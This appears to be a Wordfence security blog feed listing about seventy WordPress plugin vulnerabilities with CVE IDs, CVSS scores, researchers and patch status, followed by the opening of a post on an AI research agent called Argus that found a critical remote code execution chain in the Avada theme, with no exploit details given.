WPZOOM Forms – Drag & Drop Contact Form Builder for WordPress [wpzoom-forms]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66643

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Wufoo Shortcode [wufoo-shortcode]

Researcher

CVSS Rating
6.3 (Medium)

CVE-ID

CVE-2026-13175

Patch Status

Patched

Published
Aug 17, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

CVSS Rating
6.3 (Medium)

CVE-ID

CVE-2026-68568

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

MasterStudy LMS WordPress Plugin – for Online Courses and Education [masterstudy-lms-learning-management-system]

Researcher

CVSS Rating
5.4 (Medium)

CVE-ID

CVE-2026-14196

Patch Status

Patched

Published
Aug 17, 2026

Affected Software

WCFM Marketplace – Multivendor Marketplace for WooCommerce [wc-multivendor-marketplace]

Researcher

Mustafa Ahmed

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-17153

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

AI Agent by SiteGround [sg-ai-studio]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2025-53999

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Altair [altair]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66679

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Appointment Hour Booking – Booking Calendar [appointment-hour-booking]

Researcher

Tiago Ventura

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73395

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Booking calendar, Appointment Booking System [booking-calendar]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-19717

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

CatFolders Document Gallery & PDF Library [catfolders-document-gallery]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-74021

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Chaplin [chaplin]

Researcher

Trương Hữu Phúc

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73994

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Charitable – Donation & Fundraising Platform (Donation Forms, Recurring Donations & Fundraising Campaigns) [charitable]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73379

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Contact Form by Supsystic [contact-form-by-supsystic]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-32468

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Duitku Payment Gateway [duitku-social-payment-gateway]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73363

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

E-cab Taxi Booking Manager for Woocommerce [ecab-taxi-booking-manager]

Researcher

Van Phuc

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-74019

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

EPROLO-Dropshipping [eprolo-dropshipping]

Researcher

hivesec

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-18044

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Estatik Real Estate Plugin [estatik]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-19728

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Extra Product Options Builder for WooCommerce [additional-product-fields-for-woocommerce]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73399

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Flutterwave WooCommerce [rave-woocommerce-payment-gateway]

Researcher

Ronnachai Sretawat Na Ayutaya (Simonhaskelly)

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-3424

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

kk Star Ratings – Rate Post & Collect User Feedbacks [kk-star-ratings]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-74020

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Koji [koji]

Researcher

Trương Hữu Phúc

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-19709

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Membership For WooCommerce [membership-for-woocommerce]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66651

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

MultiVendorX – WooCommerce Multivendor Marketplace AI Powered Solutions [dc-woocommerce-multi-vendor]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-28163

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

New User Approve [new-user-approve]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-28153

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Notification Master – Real-Time WordPress Notifications With Email, SMS, Webhooks & More [notification-master]

Researcher

Ian Ho Shim

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-32472

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Online Contact Widget-多合一在线客服插件 [online-contact-widget]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73385

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Outranking Plugin Options [outranking]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73384

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Pay with Contact Form 7 [pay-with-contact-form-7]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73398

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Piraeus Bank WooCommerce Payment Gateway [woo-payment-gateway-for-piraeus-bank]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73381

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Smart Popup by Supsystic [popup-by-supsystic]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73394

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Stitch Express [stitch-express]

Researcher

babyhack

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73350

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent [supportcandy]

Researcher

hackthesoul

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-75027

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Themify Builder [themify-builder]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73386

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Track Geolocation Of Users Using Contact Form 7 [track-geolocation-of-users-using-contact-form-7]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-18779

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

TrueBooker – Appointment Booking and Scheduler System [truebooker-appointment-booking]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-18777

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

TrueBooker – Appointment Booking and Scheduler System [truebooker-appointment-booking]

Researcher

Mokksh Parekh

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-18778

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

TrueBooker – Appointment Booking and Scheduler System [truebooker-appointment-booking]

Researcher

Luka Zimonjic

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-73377

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Ultimate Maps by Supsystic [ultimate-maps-by-supsystic]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-14861

Patch Status

Unpatched

Published
Aug 17, 2026

Affected Software

User Verification by PickPlugins [user-verification]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66595

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards [wp-data-access]

Researcher

doc4cash

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-18231

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

WP Directory Kit [wpdirectorykit]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-16058

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

YayCurrency – WooCommerce Multi-Currency Switcher [yaycurrency]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-74011

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

InfiniteWP Client [iwp-client]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-18653

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

WP Directory Kit [wpdirectorykit]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-27365

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Issues and Series for Newspapers, Magazines, Publishers, Writers [organize-series]

Researcher

PPzzAArr

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-74992

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researcher

Mohammed Abd Alrahman

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-11565

Patch Status

Patched

Published
Aug 17, 2026

Affected Software

Advanced File Manager – Ultimate File Manager for WordPress And Document Library Solution [file-manager-advanced]

Researcher

Christian Kold Jensen

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-76074

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations in WordPress [automatorwp]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-76057

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations in WordPress [automatorwp]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66589

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

B2BKing — Ultimate WooCommerce B2B and Wholesale Plugin — Wholesale Prices, Bulk Order Form & More [b2bking-wholesale-for-woocommerce]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-19406

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-28164

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Easy Elementor Addons – Addons Pack for Elementor Page Builder [easy-elementor-addons]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-19613

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

ECS – Ele Custom Skin for Elementor [ele-custom-skin]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-13169

Patch Status

Patched

Published
Aug 17, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-13174

Patch Status

Patched

Published
Aug 17, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-13173

Patch Status

Patched

Published
Aug 17, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-5093

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Greenshift – animation and page builder blocks [greenshift-animation-and-page-builder-blocks]

Researcher

Raihan Adi Arba

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-19699

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor [gutenkit-blocks-addon]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66602

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

HashBar – Announcement, Notification Bar & Popup Campaign [hashbar-wp-notification-bar]

Researcher

Brian Willows

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66647

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Homlisti [homlisti]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-19416

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

KiviCare – Clinic & Patient Management System (EHR) [kivicare-clinic-management-system]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-19417

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

KiviCare – Clinic & Patient Management System (EHR) [kivicare-clinic-management-system]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66677

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Leyka [leyka]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15384

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Manual Image Crop [manual-image-crop]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-73404

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

MasterStudy LMS WordPress Plugin – for Online Courses and Education [masterstudy-lms-learning-management-system]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66634

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Modal Survey – WordPress Poll, Survey & Quiz Plugin [modal-survey]

Researcher

luc

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-73396

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

MWB HubSpot for WooCommerce – CRM, Abandoned Cart, Email Marketing, Marketing Automation & Analytics [makewebbetter-hubspot-for-woocommerce]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-4245

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Post Duplicator [post-duplicator]

Researcher

Quốc Huy (jtwings)

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-4244

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Post Duplicator [post-duplicator]

Researcher

Abi Wiranata

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2025-11729

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

PPWP – Password Protect Pages [password-protect-page]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-19711

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Premium Packages – Sell Digital Products Securely [wpdm-premium-packages]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14826

Patch Status

Patched

Published
Aug 17, 2026

Affected Software

Quiz and Survey Master (QSM) – Quiz Maker & Survey Maker [quiz-master-next]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14825

Patch Status

Patched

Published
Aug 17, 2026

Affected Software

Quiz and Survey Master (QSM) – Quiz Maker & Survey Maker [quiz-master-next]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66635

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Slider by 10Web – Responsive Image Slider [slider-wd]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16979

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

SmartCrawl SEO checker, analyzer & optimizer [smartcrawl-seo]

Researcher

Ezekiel Victor

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-19726

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Visualizer – Tables & Charts Manager with Built-in AI Generator [visualizer]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-18466

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

WP Maps – Google Maps,OpenStreetMap,Mapbox,Store Locator,Listing,Directory & Filters [wp-google-map-plugin]

Researcher

Xanlar Agamalizade

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-19782

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

WPS Bidouille [wps-bidouille]

Researcher

As a reminder, Wordfence has curated an industry leading vulnerability database with all known WordPress core, theme, and plugin vulnerabilities known as Wordfence Intelligence.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

The post Wordfence Intelligence Weekly WordPress Vulnerability Report (August 17, 2026 to August 23, 2026) appeared first on Wordfence.

Wordfence Argus Finds Complex 6 Step Critical RCE in Avada Theme with 1 Million Sales

Simon Browning — Tue, 25 Aug 2026 18:41:22 +0000

A year ago we wrote that we’d put AI to work across the whole company, turning everyone on the team into a capable AI operator so our defenders could stay ahead of the threat actors attacking the sites we protect. In April we showed where it was heading: in the space of a few months, AI-assisted reports to our bug bounty program had gone from 16% to about two-thirds of everything we received, and it wasn’t slowing down.

As we continue to see AI driven innovation in cybersecurity, the Wordfence team continues to accelerate our own pace of AI enabled innovation. PRISM, our autonomous research agent, is now the most prolific researcher we have, with over 300 vulnerabilities to its name and the top spot on our leaderboard over the last 30 days. In July it caught a supply-chain backdoor in a 20,000-install plugin less than two hours after the malicious code went in. Around the same time, a prompt technique borrowed from a math breakthrough turned up the first unauthenticated, no requirement, WordPress core RCE in a decade after roughly ten hours of machine time.

This post is one more data point on that trend line, and for us, it’s where things get interesting: We are now using AI to do the kind of deep, multi-step exploitation that used to take a skilled human weeks or months. And we are compressing that work into a few unattended hours.

Using an agentic framework we developed, code named Argus, we found and reproduced a critical, unauthenticated remote code execution vulnerability chain in Avada, one of the best-selling WordPress themes ever made with over a million sales. An unauthenticated attacker could run arbitrary PHP on the server without ever logging in or getting a victim to click anything. Argus found the whole chain and proved it, start to finish, in about two hours.

Wordfence Premium, Wordfence Care, and Wordfence Response customers received a firewall rule to provide protection against known exploitation techniques on July 30, 2026, the day we confirmed the vulnerability. Free users will get the same rule 30 days later, on August 29, 2026.

We provided full disclosure details to the ThemeFusion team through our Wordfence Vulnerability Management Portal on August 5, 2026. The developer acknowledged the report on August 10, 2026 and released a public patch on August 25, 2026. We would like to commend the ThemeFusion team for their prompt response and timely patch.

Breadth and Depth

We think about AI research two ways, and we build for both.

BREADTH for coverage: PRISM is the breadth-first half. It sweeps an enormous surface across every bug class and threat model, on its own, all day. That’s how you cover a whole ecosystem, and how you notice a backdoor two hours after it makes its way onto the WordPress plugins repository.

DEPTH for complexity: Argus is the depth-first half, and it’s the one that found the Avada chain. Both agents hunt the way every researcher does, tracing a dangerous operation backward to see whether anything untrusted can reach it, or following untrusted input forward to see what it can touch. What differs is how far down that trace they push. PRISM goes wide: it covers an enormous surface, which usually means each finding is anywhere from one to a few flaws or a short hop of a step or two, and that’s exactly the right trade-off, because most serious WordPress vulnerabilities look like that and you want to catch every one of them. Argus goes deep instead. It gives up the breadth to stay on one target and hold a long, multi-step path in view, the kind where the exploit only exists several links in and every link depends on the one before it.

Avada was that deep case: six separate weaknesses, none sufficient on its own to produce code execution, that only become a path from an anonymous request to code execution when you line them up in one exact order. We won’t claim a human could never have found it. Hand an experienced researcher the hint that an RCE is in there and a month to chase it, and maybe they connect all six links, maybe they don’t. What we can say is that Argus found the chain unattended in about two hours, and then did the part that usually costs a researcher days on its own: it wrote a working proof-of-concept, start to finish, that executes PHP code on the target server. A chain this deep, found and demonstrated that fast with nobody in the loop, is what starts to look like capability beyond what a person can practically bring to bear. Not because the bug was invisible, but because no human works that fast.

We’re not going to publish how Argus is built. As one of our recent blog posts said, the leverage here isn’t really about any one model, it’s about harness and prompt engineering, about how you put a capable model to work. That’s our own R&D, and the same techniques help an attacker just as much as they help us.

Vulnerability Summary from Wordfence Intelligence

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-18431

Patch Status

Patched

Affected Software

Avada (Fusion) Builder [fusion-builder]

Avada | Website Builder For WordPress & WooCommerce [Avada]

Researchers